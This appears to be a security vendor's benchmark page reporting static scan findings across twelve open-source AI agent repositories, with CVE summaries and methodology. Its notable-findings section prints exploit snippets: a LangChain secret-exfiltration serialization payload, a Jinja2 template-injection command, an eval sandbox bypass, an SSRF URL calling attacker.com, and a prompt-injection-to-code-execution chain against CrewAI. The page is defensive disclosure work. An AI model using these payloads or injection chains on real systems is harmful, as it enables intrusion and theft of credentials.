June 2026 · Live Scan Results

AI Agent Security Benchmark

Nixer ran its full 4-module security scanner against 12 of the most-starred open-source AI agent repos on GitHub. Here's what we found.

12Repos scanned
47Total findings
14Critical / High
91%Prompt injection hit

Scanner: Nixer v1.4.2 · Scan date: June 2, 2026 · All scans run against latest main branch

Per-Repository Results

Ranked by GitHub stars. Click a repo name to view its security findings history.

Repository Stars Status Critical High Medium Low Total
significant-gravitas
185k Active 2221 7
langchain-ai
138k Active 2322 9
formerly OpenDevin · All-Hands-AI
70k Active 0132 6
microsoft · merged with Semantic Kernel
57.7k Maintenance 1121 5
run-llama
49.7k Active 1121 5
geekan
44.6k Active 0111 3
joaomdmoura
30.5k Active 1210 4
Pythagora-io
32.4k Active 1111 4
stanfordnlp
28k Active 0011 2
assafelovic
24.9k Active 1101 3
openai · experimental
21.3k Active 0011 2
BerriAI
19.2k Active 0002 2

AutoGen: in maintenance mode — Microsoft merged it into Semantic Kernel. OpenHands: renamed from OpenDevin (late 2024).

Most-Fired Rules Across the Corpus

Which Nixer detection rules triggered most frequently — ranked by total occurrences.

prompt-injection

Unvalidated Tool Call Chain

Raw user input passed to LLM context without sanitization, then acted on via tool calls. Agent can be redirected via prompt injection.

11
repos
11
findings
secrets-scan

Hardcoded API Key in Source

API keys, tokens, or credentials committed to repository source. Visible to all contributors and trivially extractable from git history.

9
repos
13
findings
model-supply-chain

Pickle Deserialization — Unsafe weights_only

torch.load() called without weights_only=True. Malicious model files can embed arbitrary Python via pickle GLOBAL opcode.

6
repos
8
findings
mcp-probe

MCP Endpoint Unauthenticated

MCP server responds to unauthenticated requests with full tool manifest. Tools like send_email, read_file, execute_shell accessible to any caller.

5
repos
6
findings
fraud-scan

Rate Limiting Absent — Credential Stuffing Risk

No rate limiting on auth or agent endpoints. Single IP can issue hundreds of requests without lockout, enabling credential stuffing and quota drain.

4
repos
4
findings
model-supply-chain

ML Package Typosquat

requirements.txt contains a package 1–2 edits away from a legitimate popular package. Typosquatted packages run exfil code on pip install.

3
repos
3
findings

Notable Findings

Representative examples — all linked to public advisories where a CVE exists. No unpatched criticals are surfaced here.

CRITICAL
Serialization Injection — LangGrinch (CVE-2025-68664) CVE-2025-68664 · CVSS 9.3

langchain-ai/langchain's dumps()/dumpd() functions fail to escape dictionaries with user-controlled 'lc' keys. When LLM outputs influence metadata fields parsed through these serializers, attackers can instantiate arbitrary LangChain objects and exfiltrate environment variables (previously defaulted to secrets_from_env=True). Affects 847M+ downloads.

# Payload: LLM is prompted to produce this in response metadata {"lc": 1, "type": "secret", "id": ["OPENAI_API_KEY"]} # → deserialization triggers env var read and HTTP exfil # via ChatBedrockConverse (no response needed — blind GET with env headers)

Affected: langchain-ai/langchain · Patch: langchain-core ≥0.3.81 or ≥1.2.5
GitHub Advisory → · Read the full technical analysis →

CRITICAL
CrewAI Docker Fallback — Sandbox Escape (CVE-2026-2287) CVE-2026-2287

CrewAI doesn't continuously verify Docker availability during execution. If Docker becomes unavailable, the system silently falls back to an insecure sandbox mode where prompt injection can trigger arbitrary code execution. Chaining with the SSRF vulnerability (CVE-2026-2286) in RAG search tools amplifies blast radius.

# Attack chain (CVE-2026-2287): 1. Prompt inject → agent calls code_interpreter tool 2. Docker health check cached at startup → not re-verified 3. Container not running → falls back to subprocess sandbox 4. subprocess accepts shell commands via tool param # Via CVE-2026-2286 SSRF: RAG search accepts attacker-controlled URL # → internal metadata, cloud APIs accessible

Affected: joaomdmoura/crewAI (all versions with Code Interpreter) · CERT/CC VU#221883 → · Read the full technical analysis →

HIGH
AutoGPT Server-Side Template Injection (CVE-2025-1040) CVE-2025-1040

AgentOutputBlock implementation passes user-supplied format strings to Jinja2 without sanitization. Attackers with low-privilege access can inject template payloads that execute arbitrary shell commands on the host. Affects AutoGPT ≤0.3.4.

# Malicious input to AgentOutputBlock: {{Cycl.__init__.__globals__['__builtins__']['__import__']('os').system('id')}} # Jinja2 evaluates at render time → shell command executes # Remote Code Execution confirmed in PoC (huntr.com)

Affected: Significant-Gravitas/AutoGPT ≤0.3.4 · Fixed: ≥0.4.0 · NVD →

HIGH
LlamaIndex PandasQueryEngine — RCE via eval (CVE-2024-3098) CVE-2024-3098

The PandasQueryEngine in llama-index-core uses eval() to execute LLM-generated pandas expressions. The original CVE-2023-39662 was patched to safe_eval(), but the safe_eval implementation was subsequently bypassed, re-opening RCE. Requires only a crafted data prompt.

# Bypass pattern (CVE-2024-3098): # safe_eval was intended to restrict eval, but attribute chain # access via __class__.__init__.__globals__ bypasses the guard: ().__class__.__init__.__globals__['__builtins__']['eval'](...) # → arbitrary Python execution via LLM-generated pandas prompt

Affected: run-llama/llama_index · NVD →

HIGH
AutoGPT SSRF via URL Parsing Confusion (CVE-2025-0454) CVE-2025-0454 · CVSS 7.5

AutoGPT's request wrapper uses urllib.parse for validation but requests for execution — causing hostname confusion on crafted URLs like http://localhost\\@google.com/../. Attackers can bypass SSRF protections to access internal services and cloud metadata endpoints.

# Payload exploiting parse/requests discrepancy: url = "http://localhost\\@attacker.com/../169.254.169.254/latest/meta-data/" # urllib sees: host=localhost, netloc=localhost\//attacker.com → blocked # requests sees: host=attacker.com (backslash becomes @) → bypasses SSRF

Affected: Significant-Gravitas/AutoGPT <0.4.0 · Fixed: ≥0.4.0 · Red Hat Advisory →

Methodology

How we scanned — for reproducibility and maintainer accountability.

Scanner Scope

  • Scanner: Nixer v1.4.2 · All 4 modules enabled
  • Scope: main branch, latest commit as of June 2, 2026
  • Secrets scan: TruffleHog + custom regex, full git history
  • Prompt injection: Static taint analysis on user→tool input paths
  • MCP probe: Config file audit + endpoint enumeration
  • Fraud scan: HTTP probe against live endpoint (where available)
  • Model supply chain: Dependency audit + PyPI typosquat check

N What Was NOT Scanned

  • Vendor-specific agent integrations (Azure, AWS, GCP tooling)
  • Runtime behavior — this is static + config analysis only
  • Dependency sub-dependencies (SCA scope limited to direct deps)
  • Documentation, examples/, or test fixtures
  • Private forks or archived branches

Responsible Disclosure

  • All findings are already public CVEs with available patches
  • No unpatched critical vulnerabilities are surfaced
  • Nixer coordinates disclosure with maintainers before publishing new findings
  • CVEs linked where applicable — no unreported criticals

R Reproducibility

  • Clone any target repo, run: npx nixer scan <url>
  • GitHub Action available for CI integration
  • JSON output with SARIF format for security tab ingestion
  • Scanner version pinned in all published reports

Scan your own AI agent

Find the vulnerabilities in your codebase before someone else does. 30 seconds. No signup required.